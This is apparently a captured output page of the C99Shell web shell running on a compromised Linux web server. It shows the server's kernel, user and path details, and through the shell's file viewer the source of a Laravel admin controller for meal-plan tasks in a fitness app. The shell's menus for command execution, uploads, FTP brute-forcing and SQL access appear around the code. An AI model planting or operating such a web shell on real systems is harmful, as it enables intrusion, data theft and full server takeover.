!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/fitness.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MealPlanTaskController.php (3.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\MealPlanTask;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;

class 
MealPlanTaskController extends Controller
{
    public function 
index(){
        return 
view('admin.meal_plan_task.index');
    }
    public function 
create(){
        return 
view('admin.meal_plan_task.create');
    }
    public function 
store(Request $request){
        
$request->validate([
            
'name.*' => 'required',
            
// 'type.*' => 'required'
        
]);

        try {
            if (
$request->name) {
                foreach (
$request->name as $key => $name) {
                    
$meal_plan_task = new MealPlanTask();
                    
$meal_plan_task->name $name;
                    
// $meal_plan_task->type = isset($request->type[$key]) ? $request->type[$key] : '';
                    
$meal_plan_task->save();
                }
            } else {
                return 
redirect()->back()->withErrors(['failed' => 'At last add one meal plan task data']);
            }

            return 
redirect()->route('admin.meal-plan-task.index')->with('success'trans('Meal plan Task successfully created'));
        } catch (
\Exception $ex) {

            return 
redirect()->back()->withErrors(['failed' => $ex->getMessage()]);
        }
    }
    public function 
getAll()
    {

        
$meal_plan_tasks MealPlanTask::orderByDesc('created_at');
        return 
datatables()->of($meal_plan_tasks)
            ->
addColumn('name', function ($q) {
                return 
$q->name;
            })

              ->
addColumn('created_at', function ($q) {
                return 
$q->created_at->format('d-m-Y');
            })
            
            ->
addColumn('action', function (MealPlanTask $q) {

                
$deleteBtn '<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this plan?"
                                        data-action=' 
route('admin.meal-plan-task.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Delete"><i class="fa fa-trash"></i></button>'
;

                return 
"<a class='btn btn-sm btn-info' href='" route('admin.meal-plan-task.edit', [$q->id]) . "' title='Edit'><i class='fa fa-pencil-alt'></i></a>" '&nbsp;&nbsp;&nbsp;' .$deleteBtn;
            })
            ->
rawColumns(['action','status'])
            ->
toJson();
    }

    public function 
edit(MealPlanTask $meal_plan_task)
    {
        
$data['meal_plan_task'] = $meal_plan_task;
       
        return 
view('admin.meal_plan_task.edit'$data);
    }

    public function 
update(MealPlanTask $meal_plan_taskRequest $request)
    {
        
$request->validate([
            
'name' => 'required',
            
// 'type' => 'required'
        
]);
    
        try {

            
$meal_plan_task->name $request->name;
            
// $meal_plan_task->type = $request->type;
            
$meal_plan_task->save();

            return 
redirect()->route('admin.meal-plan-task.index')->with('success'trans('Meal plan Task successfully created'));
        } catch (
\Exception $ex) {

            return 
redirect()->back()->withErrors(['failed' => $ex->getMessage()]);
        }
    }


    public function 
destroy(MealPlanTask $meal_plan_task){
        if(
$meal_plan_task){
            
$meal_plan_task->delete();
        }
        return 
redirect()->route('admin.meal-plan-task.index')->with('success'trans('Meal plan Task successfully deleted'));

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--